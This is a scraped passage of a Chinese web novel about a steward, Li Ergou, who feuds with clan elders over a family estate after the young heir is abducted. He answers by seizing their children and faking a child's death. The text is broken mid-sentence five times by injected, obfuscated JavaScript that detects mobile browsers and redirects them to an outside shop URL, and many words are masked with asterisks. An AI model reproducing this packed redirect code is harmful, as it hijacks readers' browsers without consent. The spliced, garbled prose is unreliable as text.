“二太爷,三太爷,我们老爷尸骨未寒,你们作为他的亲叔叔怎么能往他头上扣屎盆子呢?胡福不是老爷的儿子,那为何老爷会一直留他待在胡家大院?我不允许你们这样糟践我们老爷的名声!老爷啊,您睁开眼睛看看吧,他们为了争夺您的家产,竟然连这种招数都用上了,这是欺负我们孤儿寡母啊!” 张玲玉见状,“嗷”的一嗓子,竟用身体趴到胡士高的棺材上。 “老爷,您要给我们娘俩做主啊,他们怎么能这么污蔑您和福儿呢,这以后还让我如何做人啊?我没法活了,我还是跟您去吧。” 说着,张玲玉从棺材上爬下来,作势就要用头撞向棺材,被一直在她旁边的李二狗一把拉住。 “二奶奶,您冷静一点,千万不要想不开啊,您这样做岂不是让亲者痛仇者快吗?” “人言可畏啊!李管家,你快松手,就让我下去陪老爷吧,总好过被人指指点点的好!” 胡世仁、胡汉三没想到于兰芝竟然承认胡福是胡士高的儿子,她不是一直和张玲玉势不两立吗? “好了,你们不要再演了,我绝不允许外姓人成为我们胡家的子孙。” 于兰芝义正词严地说道:“二太爷,说话要有证据,只要你拿出胡福不是我们老爷儿子的证据,我立马把他们母子赶出胡家大院。” 胡士高已死,再也没有证据能证明胡福不是胡士高的儿子。 “你……你……”胡世仁被于兰芝反驳的哑口无言。 “二太爷,我们老爷已经走了,我决不允许任何人再污蔑他,如果您是来送我们老爷最后一程,我们欢迎,如果有其他不可告人的目地,请恕侄媳不能接待!李管家,送客!” 李二狗走到门口,做了一个请的手势。 “二太爷、三太爷,请你们离开!” 胡豹上前一把抓住李二狗的衣领,叫嚣道:“你算是什么狗东西?主子说话哪有你狗奴才插嘴的份?” 张二驴见状,立马上前就要动手,被李二狗抬手制止了。 “目前在胡家大院,真正的主子只有我们大奶奶一个人,如果你们不想难堪,请速速离开,否则别怪我不给各位留情面。” 李二狗话不多,却很有分量。 看着门外一群虎视眈眈的家丁,胡汉三说道:“胡豹,把手松开。” “爹!” “把手松开!” 胡豹怒视李二狗,威胁道:“你小子给我小心点!” 说完就放开了李二狗,李二狗整整衣领,面带微笑地说道:“我等着!” “别让我找到证据,否则你们都得给我离开胡家大院!” 胡世仁放下一句狠话,便带着贤子贤孙们离开了胡家大院。 于兰芝这才长舒一口气,愈加佩服李二狗的远见卓识。 一场节俭而又匆忙的葬礼结束之后,于兰芝正式成为胡家大院的掌舵人,也就意味着李二狗正式掌控了胡家大院。 张玲玉早就看清了形势,她紧抱李二狗的大腿,李二狗也没有亏待她,除了以前她经营的米铺之外,李二狗又把**以前经营的布铺交给她经营。 宋小曼以前经营的油坊被李二狗出人意料地交给念秋经营,这引起了于兰芝的怀疑。 “二狗,你和我说实话,你和念秋在省城是不是做了什么见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995556|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 不得人的勾当?” “兰芝,你脑子里天天都想些什么?” “那你为什么对她那么好?” “她一个人在省城照顾老爷将近一年的时间,没有功劳也有苦劳吧?像这样的人咱们不应该奖赏吗?” 于兰芝嘟囔道:“一个丫鬟让她去管理油坊,也太抬举她了。” 李二狗语重心长地说道:“兰芝,宋小曼现在不知所踪,油坊交给谁经营不一样?反正到年底大部分利润都得归大院所有。我们现在对念秋这样忠心耿耿的人好一些,其他人看在眼里,能不玩命地为胡家大院效力吗?” 李二狗一番教诲令于兰芝心服口服。 “二狗,你怎么懂得这么多?我真是爱死你了!” “你呀,没事多看点书吧。” 于兰芝羞涩一笑。 “二狗,我想给你生个儿子。” “你……被你气死!我呀,早晚死在你手里。” 冬去春来,本是万物复苏的季节,可旱情却没有得到丝毫缓解。 眼看着地里的麦苗变得枯黄枯死,佃户们成片成片地跪倒在麦地旁,手捧黄土,哀嚎遍野。 胡家大院的生计面临着严峻的考验。 前期储存的粮食几乎全部捐赠给了县政府和广佛寺,胡家大院的余粮已经所剩无几。 好在清风寨还有一些余粮,那是李二狗留着压仓底所用。 于兰芝对此心急如焚。 “二狗,要不然咱们还是辞退一些丫鬟和家丁吧?再这样下去,胡家大院真的撑不到今年秋天了。” 李二狗何尝不知道这个道理。 胡老太太和胡士高接连离世,**和宋小曼又先后离开胡家大院,现在确实用不了那么多丫鬟和家丁。 “兰芝,你想过没有,如果咱们辞退他们,他们离开胡家大院之后可能就会饿死,他们都在胡家大院伺候了很多年,你能忍心吗?” “可咱们现在每天的支出实在是太大了,粮食的价格又堪比黄金,再这样下去,咱们最后都得饿死。” “我再想想办法吧。” 第273章 胡福神秘失踪 “二狗,二狗……” 李二狗正独自坐在院里的一棵老杨树下发呆,张玲玉哭喊着跑了进来。 她扑到李二狗怀里,放声恸哭。 “二狗,你一定要救救福儿啊……” 李二狗不明所以,问道:“先别哭,少爷怎么了?” 张玲玉的眼睛已经哭得有些红肿。 “福儿不见了,一定是被人**了!” “什么时候不见的?” “今天早上,整个大院都找遍了,福儿他一个人从来不会离开大院的。” 李二狗抬头看天,太阳已经西斜。 “玲玉,你不要着急,我马上安排人再去找。” 李二狗担心的倒不是胡福被**,**是为了图财,肯定会有人来送信,可现在并没有收到勒索信。 他最担心的是害命! 胡福虽然是个傻子,可他现在是胡家大院唯一的继承人。 想到这,李二狗第一时间想到了胡世仁、胡汉三。 胡福失踪谁会受益,一目了然。 看到李二狗神情严峻,张玲玉失声问道:“二狗,福儿他不会有危险吧?” “少爷不会有事的,你先回去等我消息。” 李二狗吩咐张二驴再安排人把胡家大院重新搜查一遍,同时派更多的人去镇子里寻找。 一直找到天黑,仍然一无所获。 张玲玉哭得嗓子都哑了,胡福虽然是个傻子,但却是她的命根子,更是她的精神寄托。 “二狗,一定要找到福儿啊!” 面对众人,张玲玉竟跪在李二狗跟前,吓得李二狗赶紧把她扶起来。 “二奶奶,您放心,我再安排人出去找,一定会找到少爷的。” 李二狗纷吩咐两个丫鬟把张玲玉扶回自己院子。 “二驴,把搜索范围再扩大,镇子周边也要找,同时把消息散出去,谁能找到少爷或者提供少爷的线索,赏大洋二百!快去!” 张二驴领命而去,李二狗则直接上了清风寨。 “老三,你马上派几个兄弟到各个山寨,放出话去,谁**了胡家大院的胡福,马上把人放了,不然后果自负。” “胡少爷又被人**了?这次不会还是二奶奶在演戏吧?” “你少**扯淡,快去!” “现在吗?要不还是等到明天天亮吧?” 李二狗瞪着他没有说话,陈老三连忙改口。 “我这就去安排。” 李二狗回到家,**已经睡下了。 听到开门的动静,她警惕地问道:“二狗?” “是我,素文。” “你怎么这么晚来了?发生什么事了?” **语气中夹杂着掩饰不住的兴奋之情。 “胡福失踪了,我让老三去其他山寨打探打探消息,你别下床了,接着睡吧。” **已经披衣下了床。 “胡少爷怎么又失踪了?被土匪**了?” “目前还不清楚,按说土匪**会送勒索信,可胡家大院并没有收到信。” “不会是被人拐走了吧?” “素文,你傻了啊?这年月自己孩子都养不活,谁还会拐别人家的孩子?何况胡福还是个傻子。” “那能去哪里呢?仇家寻仇?寻仇也不该找一个傻子吧?” 经过**不断地发问,李二狗已经大体分析出是怎么一回事。 “素文,你先睡吧,胡家大院出了这么大的事情,我还得赶回去。” “这么晚了,要不你还是睡一觉明天早上再回吧。” 面对**渴望的眼神,李二狗也很想留下来,但整个胡家大院的男丁基本都派出去了,他实在是放心不下。 “素文,你先睡吧,今晚我没法睡了,明天我再回来。” **最大的优点就是听话识大体,遇事不吵不闹, “那你路上小心一点。” “乖,快点睡吧。” 李二狗摸了摸**的头,又在她额头上亲了一口,离开清风寨回到胡家大院。 派出去的人都没有回来,那就说明还没有找到人。 李二狗特意找到张二驴。 “二驴,今晚一定要提高警惕,防止有人趁机来胡家大院捣乱。” “放心吧,狗哥,今晚我亲自带队,一定确保胡家大院安全,你先去休息吧,这里交给我。” 李二狗拍了拍张二驴的肩膀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995557|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 然后来到张玲玉院里。 张二驴担心她出事,特意安排了两个丫鬟在院里看着她。 张玲玉正坐在屋檐下望着星空发呆,看到李二狗进来,并没有说话。 李二狗挥挥手,两个丫鬟便离开了。 李二狗在张玲玉身旁坐下。 “小时候听我奶奶讲,地上死一个人,天上就会多一颗星星,人死后会升到天空,变成星星给走夜道的人照亮儿,福儿最怕黑了。” 张玲玉眼泪汪汪地转头看向李二狗。 “二狗,你说天上的这些星星哪颗是福儿变的?” “玲玉,你别胡思乱想,少爷肯定会没事的。” “也许福儿本就不该来到这个世界,你知道吗?他生下来之后就不会啼哭,出生那天是个阴雨连绵的秋夜,屋外雷声滚滚,仿佛天地都在**他的降临。” “长到五岁福儿还不会说话,只会对着人笑,大家都说他是个傻子,可我不相信,可我不相信又有什么用呢?” “老太太嫌弃他,老爷也嫌弃他,几乎所有的人都嘲笑他,唯独我拿他当作珍宝一般珍惜。” “其实老爷对少爷还是有感情的。” 张玲玉咬牙切齿道:“那是因为他之后一直生不出孩子,我知道他从心底鄙视福儿。” 李二狗没有说话,胡福是张玲玉和她表哥程秋雨所生的孩子,他的痴傻很大一部分原因是因为近亲繁殖。 但这种话李二狗不能和她说。 张玲玉突然笑了起来。 “我知道,你们在心里都嘲笑我,认为一切都是我咎由自取!可你们谁又能懂得我心里的苦啊!” “如果上天非要惩罚,那就来惩罚我吧,福儿是无辜的啊!” 李二狗依然没有说话,只是轻轻擦去她眼角的泪水,然后把她揽入怀中。 此时,任何的语言都是苍白无力的。 “狗哥。” 面对突然闯进来的张二驴,李二狗急忙松开张玲玉,站起身来。 张二驴赶忙转过头,装作什么都没有看见。 “二驴,有消息了?” “中午的时候,有人看到少爷被一个男人抱走了。” 第274章 你丫脑子有病吧 “福儿被谁抱走了?”张玲玉听到胡福有消息了,猛地站起来,冲到张二驴面前,一把拉住他的胳膊,“你快说啊,福儿被谁抱走了?” “玲玉,你先冷静一点,听他说。” 张玲玉松开手,眼睛却一直盯着张二驴。 “他只看到那个人的背影,并没有看到正脸,不过……” “不过什么?” “少爷当时并没有哭闹,应该是和那个人认识,狗哥,你说会不会是咱们胡家大院的人?” 李二狗想了想,肯定地说道:“应该不会,如果是胡家大院的人做的,他一定是奔着钱去的,可我们并没有收到勒索信。” 张玲玉催促道:“二狗,你快想想办法救救福儿啊。” “二奶奶,你先冷静一点,我一定会想办法救出少爷的。” 李二狗命丫鬟看好张玲玉,自己和张二驴一起走了出去。 “二驴,你马上找几个人,带上枪,跟我出门一趟。” 张二驴立即找了四个家丁,跟着李二狗出了门。 “狗哥,咱们去哪?” “三太爷家。” “三太爷?你怀疑是三太爷家干的?” 李二狗推测**了胡福又不是为了钱财,那就一定是胡世仁或者胡汉三做的,或者是他们两家联手做的。 他之所以先去胡汉三家,是因为胡汉三有两个儿子,其中小儿子胡豹是仙人洞镇有名的流氓混混,这种绑票的事他最擅长。 “现在我们没有别的线索,只能当是他家干的,死马当作活马医,先去探探情况再说。” 来到胡汉三家门前,黑漆漆的两扇大门紧闭。 “二驴,去敲门。” 张二驴敲了半天,才有一个人从门里问道:“谁啊?天还没亮就砸门,还让不让人睡觉了?” 张二驴说道:“我们是胡家大院的,李管家有事找你们家老爷,快开门。” 里面突然没有声音了,张二驴趴在门板上听了半天,里面静悄悄的。 “狗哥,怎么办?” “再等等,一会儿要是还不开就把大门给我砸开。” 过了大约五分钟,门“吱咛”一声打开了。 家丁看到外面的人全部面无表情,肩上还背着枪,吓得脸色都变了。 “我们……我们老爷请……你们进去。” 李二狗没有客套,直接走了进去。 胡汉三站在院子中间,身后站着胡豹和两个家丁,阴阳怪气地说道:“我以为是谁呢,大清早就来砸门,原来是李大管家!不知道李大管家大驾光临,有何指教啊?” 李二狗拱手抱拳道:“三太爷,实在是不好意思,打扰您老人家休息了,我们少爷胡福失踪了,我特意前来问问三太爷有没有看见他?” “你们少爷失踪了,你不派人去找来老夫这里干吗?老夫一向大门不出二门不迈,又怎么会看见你们家少爷呢? 胡豹说道:“那小子是个傻子,也许是自己迷路了,怎么可能到我家里来?” 李二狗问话的时候一直暗中观察胡汉三父子的表情,他们在听到胡福失踪的消息时,没有表现出任何惊讶之情,甚至连幸灾乐祸的情绪都没有,这很不正常,说明他们早就提前做好了心理准备。 “三太爷,说到底你们和胡家大院是本家,都是一家人,低头不见抬头见的,有些事还是不要做得太绝,否则对谁都不好!” 胡豹突然跳将出来,指着李二狗的鼻子骂道:“你算是个什么东西?一个小小的管家,不过是胡家大院的一条看门狗罢了,竟敢跑到我们面前叫嚣?等哪天老子搬进胡家大院,第一个要赶走的人就是你。” “赶不赶我走是你的自由,能不能留下得看我的能力,胡豹少爷话说得不要太满。” “哈哈,应该是你不要把话说得太满才对!我现在马上命令你出去,立刻滚出我家!” 胡豹突然表现的如此愤怒,很显然是为了掩饰自己内心的恐惧。 “胡豹少爷这么着急赶我们走,难道是做贼心虚吗?” 胡豹突然从腰里拔出驳壳枪,指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000975|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 着李二狗,威胁道:“李二狗,你不要血口喷人,你以为只有你们有枪吗?老子手里的也不是烧火棍!你到底走不走?” 面对胡豹的威胁,李二狗毫不畏惧,他知道胡豹没有胆子开枪,因为自己带来的人带着**。 “胡豹少爷不要焦急,等我说完立马就走。” “你……” 胡豹咬牙切齿地怒视李二狗,握着驳壳枪的手臂已经有些微微发抖。 李二狗身后传来一阵“哗啦啦”拉动**的声音。 胡汉三见状立马呵斥道:“胡豹,把你的枪给我收起来。” “爹!” “收起来!” “哼!” 胡豹把驳壳枪收起来别在腰间,双眼依然怒视着李二狗,典型的做贼心虚! “李管家,有什么话你就说吧。” “三太爷,我们少爷胡福神智有些不清,如果他不小心走到您府上,还请您把他交还给我们胡家大院,我们一定重重酬谢。” “李管家,你们家少爷并没有到过我府上,你还是到别处去找找吧。” “我知道胡豹少爷无论在官府还是江湖中都认识很多朋友,还请胡豹少爷帮忙找一找。” 胡豹听罢暴跳如雷。 “李二狗,你丫脑子有毛病吧?你们胡家大院丢了少爷凭什么让我去找?” 李二狗不急也不恼,慢条斯理地说道:“刚才你不说了吗?都是一家人,难道胡豹少爷对胡家大院的人没有感情吗?” 胡豹手指李二狗,骂道:“李二狗,你少在这胡搅蛮缠,赶紧给我滚犊子,不然别怪我不客气。” “呵呵,三太爷,我代表胡家大院请求你们帮忙找找孩子,您也是有儿孙的人,如果今天天黑之前找不到我就让您的儿孙失踪一个,明天天亮之前还找不到就失踪两个,我说到做到,我们走!” 胡豹完全被李二狗不讲理的行为激怒了。 “李二狗,**别欺人太甚!老子根本就不怕你的威胁!” “呵呵,那我们就走着瞧!” 第275章 假绑不是打我自己的脸吗 “狗哥,我看八成就是这几个王八蛋**了胡福少爷。” 李二狗有意考察一下张二驴,便问道:“何以见得?” “他们在听到少爷被**的消息时表现的太淡定了,这不符合常理啊。” “二驴,你小子不错,观察地很仔细。” “嘿嘿,都是狗哥教导有方,和你比起来,我还差得远。” “你小子,跟谁学得这么油腔滑调?” “嘿嘿,我这可都是肺腑之言,狗哥,下一步咱们怎么办?” “怎么办?刚才我不是都和三太爷说过了吗?” 张二驴以为李二狗只是威胁之言,没想到他却当真了。 “狗哥,真绑啊?” “假绑不是打我自己的脸吗?” 张二驴竟无言以对。 “狗哥,把他们真逼急了,他们会不会对少爷不利?” 这本是李二狗担心的问题,但他分析之后确定,胡汉三不敢**,毕竟是一条人命。 胡福是个傻子,他只需要把胡福送到一个遥远的地方,在这饥荒之年,等待他的只有饿死这一条路。 “放心吧,他们还没有这个胆子。” “狗哥,天黑之前如果他们不把少爷放回来,我亲自带人来抓人。” 李二狗摆摆手,说道:“抓人?那也太没有技术含量了,这事你不用管了,我自有安排。” 张二驴越来越猜不透李二狗的心思,难道他要亲自动手不成? 夜幕降临之后,胡福依然杳无音讯,张玲玉依然坐在屋檐下望着星空发呆。 李二狗知道,胡汉三肯定不会把胡福送回来,这本在他意料之中。 其实胡汉三和胡豹都没有把李二狗的威胁之言放在心上,他一个小小的管家哪有那个胆量! 陈嘎子和张石头此时已经奉李二狗的命令潜伏在胡汉三家附近。 “嘎子哥,咱们什么时候动手?” 陈嘎子看了看天色,天空还没有完全黑透。 “不着急,让他们吃过晚饭吧,来,抽支烟。” 两人抽完烟之后,天色已经完全黯淡下来。 “石头,我去了,你在这里待着随机应变。” 陈嘎子扛着糖葫芦就去了胡汉三院门口。 “冰糖葫芦喽,不甜不要钱吆。” “冰糖葫芦喽,不甜不要钱吆。” 刚刚吃过晚饭的胡文彩正在院子里玩耍,听到门外有卖糖葫芦的声音,立刻被吸引住了。 他趁人不注意,自己跑到大门后面,拉开门栓,甜甜地问道:“糖葫芦多少钱一串?” 陈嘎子露出一副慈善的笑容。 “一文钱一串,小朋友,你家大人呢?” “他们在屋里,我去找他们拿钱。” “看你这么可爱,叔叔送你一串糖葫芦好不好?” “真的吗?叔叔你真好。” 陈嘎子摘下一串糖葫芦送到胡文彩手中。 “叔叔大篷车里还有更好吃的棉花糖,你喜欢吃吗?” “喜欢呀,叔叔的大篷车在哪里?” “就在村口,叔叔抱你去拿棉花糖吃好不好?” “好呀,叔叔真好。” 陈嘎子抱起胡文彩快速离开了村子。 等到胡豹的媳妇发现胡文彩不见了之后,全家人登时呆住了。 “爹,文彩不会真被李二狗抓走了吧?” “我怎么知道?”胡汉三嚷道,“快出去找!” 一直找到半夜,也没见胡文彩的踪影。 “爹,我们去胡家大院要人,他要敢不给,老子和他们拼了!” 胡汉三毕竟多吃过几年盐,不像胡豹那般冲动。 “你去要人,他们会承认吗?谁见到他们把文彩拐走了?” “那怎么办?” “我的彩儿啊,你要丢了,娘也活不了了。” 胡豹的媳妇一屁股坐在地上,嚎啕大哭。 “好了,别嚎丧了,孩子如果真是被李二狗抓走的,暂时不会有危险。” “爹,那我们是不是……” **胡福的事是胡汉三和胡豹做的,其他人并不知晓,胡汉三听到胡豹情急之下要说出真相,急忙打断了他。 “扶你媳妇先回屋吧,让我先想想怎么办。” 胡福**豹绑起来,藏在一个破庙里,他准备再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000976|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 找机会把他扔到一个更远的地方,让其自生自灭。 胡汉三现在并不准备把胡福放回去,不然之前所做的一切将前功尽弃。 为了胡家大院庞大的家业,值得冒险一搏。 “爹,你忘了李二狗今天的话了?明天早上不见人,他还要再绑一个!” 胡汉三的大儿子胡豺有一个儿子两个闺女,胡豹有一个儿子一个闺女,此时家中还有四个孩子。 “你们都把孩子给我看紧喽,任何人不许离开自己的屋子,胡豹,你去嘱咐家丁,没有我的命令,任何人不许打开院门。” “我这就去,爹。” 胡汉三一家人夜不能寐,度过了漫长又黑暗的一夜。 天亮后,胡豹来到堂屋,胡汉三也是一夜未睡,地上一地的烟灰。 “爹,要不然我去县警察局报案吧?警察局里我有熟人,咱们不能就这样眼睁睁地等着吧,文彩还在他们手里呢!” 胡汉三想了想,说道:“李二狗只是怀疑咱们,他这样做只是在吓唬咱们罢了,应该不会对文彩怎么样,豹儿,你先稳住,咱们自己不要先乱了阵脚。” “哐哐哐……” 一个家丁急慌慌跑了进来。 “老爷,少爷,有人在砸门。” 胡豹从腰里拔出驳壳枪,说道:“奶奶的,欺人太甚,跟我去开门,我倒要看看李二狗能玩出什么花样来。” 胡豹带着家丁打开院门,门外却根本没有人。 地上有一个竹篮,篮子里装着一件小孩的衣服,上面沾满了血迹。 胡豹一眼就认出那是胡文彩的衣服,他急忙上前,拿起衣服,谁承想衣服下面竟是心、肝和肠子。 家丁剧烈地呕吐起来,胡豹忍住呕吐,大叫一声:“文彩,我儿啊。” 接着就是悲天动地的哭声。 屋内的人听到胡豹的嚎叫纷纷赶出来,看到篮子里的内脏全部剧烈地呕吐起来。 “文彩啊,我儿啊,你死的好惨啊!”胡豹媳妇昏死过去。 众人赶紧把她抬进屋里,慌乱中,胡汉三发现胡豹的女儿胡文娟已经不知所踪。 第276章 李二狗,咱们走着瞧 “胡豹,文娟呢?文娟怎么不见了?” 胡汉三“砰”的一声靠在门板上,他双腿已无法站立。 “文娟啊!”胡豹媳妇又是“嗷”的一嗓子,“我的文娟去哪儿了?她爹,文娟去哪儿了?你快去把文娟给我找回来,我的文娟啊,我的文彩啊,我的命好苦啊!” 胡豺媳妇吓得赶紧带着自己的三个儿女回了屋。 “李二狗,你**做得也太绝了!老子今天和你拼了!” 胡豹抹了一把眼泪,拿起挂在门后的驳壳枪就要冲出去找李二狗拼命。 胡汉三深吸一口气,用尽全身力气大喝一声:“胡豹,你给我站住!” “爹!难道我们就眼睁睁地看着李二狗胡作非为而无动于衷吗?我要为文彩报仇,救出文娟。” 胡豹说着已经背上枪冲了出去,胡汉三趔趄地跟着冲出去拦在他身前。 “胡豹,你冷静一点!你现在一个人去胡家大院不是送死吗?” “是啊,老二,你还是听咱爹的吧。”胡豺附和道。 胡豹怒视胡豺,他想不明白,李二狗为何只对自己的儿女动手,难道他是神仙能掐会算吗?怎么就知道是自己**了胡福? “爹,您可就文彩一个孙子啊,他死得太惨了!现在文娟又被他抓了去,肯定也是凶多吉少!他欺人太甚,大不了我和他拼了!” “你这样冲动,不仅害了自己,也会害死文娟的!” 胡豹仰天长啸,掏出驳壳枪对着天空就是“砰砰”几枪。 “李二狗,老子和你势不两立!” 姜还是老的辣,胡汉三并没有和胡豹一样失去理智,他知道问题的源头在哪里! “李二狗这样做无非就是为了逼迫我们放了胡福,我看你还是去把他放了吧,先把文娟救出来再说。” 胡豹内心一万个不甘心。 “放了他?爹,放了他我们不就前功尽弃了吗?难道文彩就这样白白**吗?我不甘心呐!” “豹儿,爹也不甘心,可不甘心又能怎么样?留得青山在,不愁没柴烧,如果我们不放了他,死得就不仅仅是文彩了,咱们得为全家人的安危考虑啊!” “是啊,老二,你还是听咱爹的吧。”胡豺再次附和道。 胡豹并不甘心就这样轻易放了胡福,他还想做最后一搏。 “爹,李二狗杀了文彩,我现在就去警察局报案,警察局的王队长和我关系不一般,我让他带人去抓李二狗救出文娟。” 胡汉三是**湖,他对社会的认知比胡豹深刻的多。 “豹儿,你真是糊涂啊!你有什么证据能证明是李二狗杀了文彩?他要是不承认,你有什么办法?” 胡豹冷笑道:“只要进了警察局,由不得他不承认!爹,你别忘了,咱警察局有人。” 胡汉三叹息道:“你这脑子怎么就一根筋?那警察局王队长是你姐夫还是小舅子?他为什么和你交好?还不是看中你的钱吗?要说钱,咱们家的钱能和胡家大院比吗?” 胡豹就像霜打的茄子,彻底没有了精气神。 “爹,可我实在是不甘心呐!” “哎!没想到李二狗做事如此心狠手辣,咱们之前太小瞧他了,还是把胡福先放了吧。” “是啊,老二,你还是听咱爹的吧。”胡豺再次附和道。 胡豹虽然千般不愿,但事到如今,他已别无选择。 听着屋内自己媳妇绝望的哭喊声,胡豹发誓一定要让李二狗血债血偿! 来到破庙,被绑在柱子上的胡福竟然对着他傻笑。 想到自己惨死的儿子,胡豹一时气愤难当,他痛骂着冲上去狠狠地打了胡福十几个大嘴巴子。 “你这是大傻叉,老子真恨不得剥了你的皮!” 胡福被打得嗷嗷直哭,嘴角流着血,可他除了哭还是哭。 “早晚有一天老子要把你剁碎了喂狗,我要霸占你们胡家大院,霸占你那狐媚的娘。” 胡福听到娘,竟停止哭泣傻笑起来。 胡豹被气得又狠狠地打了他几个大嘴巴子。 他把胡福扔在胡家大院门口,然后闪身躲进了旁边的一个胡同里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005501|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 大院里听到胡福的哭声,张二驴急忙打开院门。 “少爷,你可回来了,二奶奶都急疯了!李管家,少爷回来了!少爷回来了!” 想到惨死的儿子胡文彩,胡豹掏出驳壳枪,咬牙切齿了一会儿,又把驳壳枪放回枪套。 他一直躲在胡同里等到天亮,也没看见胡文娟被放出来。 “李二狗,你**说话不算话,老子饶不了你。” 胡豹来到胡家大院门口,“哐哐”砸响院门。 “李二狗,你给老子滚出来!” 张二驴听到砸门声,从门缝里听出是胡豹的声音。 他打开院门,鄙夷地瞪了一眼胡豹。 “胡豹少爷,这么早你砸什么门?我们李管家还没有起床,你找他什么事?” “滚开!你算是什么东西?也配和老子说话?让李二狗滚出来!” 张二驴冷笑一声,“砰”的一声,院门竟从里面关上了。 胡豹从来没有被这么侮辱过,他的自尊心被按在地上摩擦。 “哐哐哐……” “李二狗,你给老子滚出来!你**说话不算数,快放了我女儿!” 任胡豹喊破喉咙,里面也根本没人理会。 他失魂落魄地回到家中。 胡福放了,儿子**,女儿也不知所踪,胡豹感觉自己没脸进这个家门。 “爹爹!” 胡豹惊呆了,站在他面前活蹦乱跳的孩子竟是胡文彩! 他不是被李二狗杀了吗?明明心肝肠子装满了一竹篮,这到底是怎么一回事? 他不可置信地揉了揉有些酸痛的眼睛,没错,确实是胡文彩。 “文彩!”他一把抱起胡文彩,高兴地泪流满面,“我的好儿子,你可把爹吓**!” “爹爹,文彩好想你。” “爹也想你!” 胡文娟听到声音从屋里跑出来,拽着胡豹的衣角,甜甜地喊道:“爹爹,我也要抱抱!” 胡豹看着毫发无伤的女儿,这才意识到自己被李二狗耍了。 “李二狗,咱们走着瞧!” 第277章 小凤仙 胡汉三彻底被李二狗的手段折服。 “豹儿,李二狗手段毒辣,你我都不是他的对手,这次他能把文彩和文娟安然无恙地送回来,已经是祖宗保佑,以后我们还是不要和他作对了。” 胡家大院的家业实在是太诱人了,胡豹不忍放弃。 “爹,胡福明显不是咱们老胡家的种,我士高哥辛辛苦苦挣下的家业岂能白白便宜了外姓人?” “可李二狗太厉害了,下一次他可能就不会这么客气了。” “这次咱们是吃了没有防备的亏,只要咱们提高警惕,下次一定不会让他得逞!” “可有李二狗在,下次再想对胡福动手也没那么容易了。” 胡豹冷笑一声:“那我们就先把李二狗解决掉。” 胡汉三呢喃道:“还是谨慎一点好!” 胡豹对胡汉三的谨慎很不以为然,胆大骑龙骑虎,胆小骑抱鸡母。 “爹,你就放心吧,我心里有数。” 胡豹来到县城,找到警察局行动队副队长王霸。 “王队长,今晚我在醉仙楼定了位子,请您务必赏光。” “胡少爷,我这公务繁忙,脱不开身,还是下次再说吧。” “王队长,我已经给您约好了小凤仙,您知道的,想约到她可不容易啊,您总不能让美人空欢喜一场吧,您忍心吗?” 听到小凤仙的名字,王霸立刻换了一副嘴脸。 “你小子总是能抓住我的软肋,局里刚换了局长,管得很严,我可能得晚一会才能过去。” “好,不着急,晚上我在醉仙楼等您。” 晚上七点不到,王霸便一身便服来到醉仙楼。 “王队长,我在这里。”胡豹朝王霸招手道。 王霸面无表情地走了过去。 “现在不是工作时间,不要叫我职务,省得引起别人注意。” 胡豹赶紧赔着笑脸道歉道:“好的,霸爷,下次我一定注意。” 醉仙楼是江东县最高档的娱乐场所,集餐饮娱乐、演艺互动、****等多种形式于一体,深受全县达官贵人的喜爱。 胡豹一招手,老鸨子喜笑颜开地跑了过来。 